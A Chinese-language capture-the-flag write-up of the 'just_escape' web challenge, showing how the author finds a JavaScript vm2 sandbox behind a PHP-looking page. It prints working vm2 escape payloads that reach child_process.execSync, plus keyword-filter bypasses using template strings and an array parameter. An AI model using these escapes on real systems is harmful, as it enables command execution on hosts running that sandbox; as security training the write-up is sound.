0x00 前言

如果一道题是你没学过的呢?基于已知信息去得出更多的信息,直到推出正解。

0x01 题目

题目来源:2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

index.php

image-20241003170944089

run.php

image-20241003171015999

0x02 确定语言

总结下已知信息:

  1. 本题跟逃逸(escape)有关
  2. 本题可能是PHP语言,也很可能不是PHP语言,先当做PHP语言看待

基于上述两点,尝试payload:code=phpinfo();

image-20241003171308278

难道是禁用?尝试payload:code=echo 1;

image-20241003171404924

分析报错:

image-20241003171513007

image-20241003171530025

看来不是PHP语言无疑了。那么会是什么语言呢?

每一种语言都有自己的特点,本题给了时间戳,是一个很好的突破口:

image-20241003171803521

通过上面的尝试、异常分析以及信息验证,得出本题看似是PHP语言,实际上是JavaScript语言。

0x03 解决题目

确定了语言,下一步就是知道题目逻辑。

本题提示escape,又因为是JavaScript,利用好这两个关键词:

image-20241003172414306

一系列的文章都指向:JavaScript node.js 沙箱逃逸

可是沙箱逃逸也有好几种,到底是哪一种呢?

不同沙箱逃逸的方法基于不同的沙箱,那么首先应该知道本题是基于什么沙箱。这一点只能从题目入手,题目也是可以利用的。JavaScript也有eval()函数,不妨猜测这里的eval()有效,就是JavaScript的eval()。那么是否可以利用这点得到沙箱类型呢?

有人会问:”既然有eval()了,为什么不直接利用它触碰系统呢?“

实际上沙箱被限制的很死,正常来讲一个沙箱也不可能被允许实现这些功能,这是设计理念的问题。

为什么不尝试触发一下报错看看呢?

使用payload:code=Error().stack

image-20241003173439472

看来沙箱类型可能是vm2

这里的许多知识涉及到我的知识盲区,直接调用前人payload:

1
2
3
4
5
6
7
8
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
})()

但是本题还有过滤,应该是基于关键字过滤,利用NodeJS模板字符串

1
2
3
console.log(`prototype`)            //prototype
console.log(`${`prototyp`}e`) //prototype
console.log(`${`${`prototyp`}e`}`) //prototype

payload如下:

1
2
3
4
5
6
7
8
9
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

但是实际效果不理想,采用新的方法:

当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制
1
2
3
4
5
6
7
8
code[]=(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
})()

结果如图:

image-20241003174025241

得到flag!

0x04 总结

本题知识之前并未涉及,但是不是非常影响做题(起码不影响做题的思路)。思路如下:

  1. 首先基于PHP语言进行尝试,发现并不对劲。

  2. 开始怀疑是什么语言,尝试后发现是JavaScript语言。

  3. 结合题目给的信息是,确定漏洞是node.js沙箱逃逸。

  4. 但是沙箱逃逸有很多种,通过报错信息确定沙箱版本。

  5. 寻找前人payload解题。

面对没学过的题目,通法如下:

  1. 确定已知环境及信息
  2. 确定题目(漏洞)类型
  3. 上网查询前人经验
  4. 得到符合本题的payload

如果能理解题目原理是最好的,如果短时间内没法理解,还是得照搬前人payload。

其实面对没学过的题目,无非基于不断得到的信息,确定题目类型,再去寻找前人经验解题。